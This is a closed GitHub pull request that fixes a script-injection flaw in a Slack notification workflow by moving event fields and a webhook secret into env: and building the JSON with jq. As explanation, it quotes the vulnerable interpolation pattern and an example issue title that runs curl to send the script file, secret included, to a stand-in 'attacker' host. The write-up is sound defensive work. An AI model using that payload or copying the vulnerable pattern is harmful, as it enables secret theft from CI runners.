Skip to content

fix(ci): harden slack-notify workflow against script injection - #119

Closed
anishamalde wants to merge 1 commit into
mainfrom
fix/slack-notify-script-injection
Closed

anishamalde wants to merge 1 commit into
mainfrom
fix/slack-notify-script-injection

Conversation

@anishamalde

Copy link
Copy Markdown
Contributor

Summary

The slack-notify.yml workflow had an unauthenticated GitHub Actions script-injection vulnerability. This PR closes it.

What was wrong

The workflow interpolated attacker-controllable fields (github.event.issue.title, github.event.pull_request.title) directly into a run: bash block:

run: |
  TITLE="${{ github.event.issue.title }}"
  ...
  curl -X POST "${{ secrets.SLACK_WEBHOOK_URL }}" ...

GitHub Actions expands ${{ … }} into the script text before bash parses it. That means an issue titled $(curl -sd @$0 https://attacker/) would execute on the runner. Because the same script also had SLACK_WEBHOOK_URL interpolated inline, injected code could read the secret out of the generated script file ($0) and exfiltrate it. No repo access was required to trigger this — just opening an issue.

What this PR changes

  • Move every ${{ github.event.* }} field and the webhook secret into env: so bash reads them as data at runtime, not as source text. This removes the injection sink.
  • Build the Slack JSON payload with jq -n --arg so quotes, backslashes and newlines in titles are escaped correctly (the hand-rolled JSON in the old version also broke on any title containing a ").
  • Pass SLACK_WEBHOOK_URL to curl via env, not shell interpolation, so the secret never appears in the script source.
  • Add workflow-level permissions: contents: read for least-privilege on the GITHUB_TOKEN.

Follow-ups (outside this PR)

  • Rotate the SLACK_WEBHOOK_URL repository secret. Assume the current value has been exposed and regenerate the webhook in Slack.

Test plan

  • Merge to a test branch and open a benign issue to confirm the Slack notification still fires and renders correctly
  • Confirm a title containing special characters (e.g. Test "quoted" title with $backtick) sends without breaking the JSON payload
  • Confirm the workflow runs for issues, pull_request, and issue_comment events

References

The previous workflow interpolated attacker-controllable fields
(issue title, PR title) directly into a bash run: block. Because
GitHub Actions expands ${{ }} into the script text before bash
parses it, an issue titled `$(...)` executed on the runner and
could read the SLACK_WEBHOOK_URL secret out of the generated
script file ($0).

Changes:
- Move every ${{ github.event.* }} and secret into env: so bash
  reads them as data at runtime, not as source text
- Build the JSON payload with jq -n --arg (correct escaping,
  handles quotes/backslashes/newlines in titles)
- Pass SLACK_WEBHOOK_URL via env instead of shell interpolation
- Add permissions: contents: read at workflow level
@anishamalde

Copy link
Copy Markdown
Contributor Author

Superseding this PR. After discussion, the plan is now to delete this workflow entirely (along with the copies in the other three repos that carry it) and rely on the org-wide weekly triage digest instead. Opening a deletion PR to replace this one.

@anishamalde
anishamalde deleted the fix/slack-notify-script-injection branch September 10, 2026 11:09
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant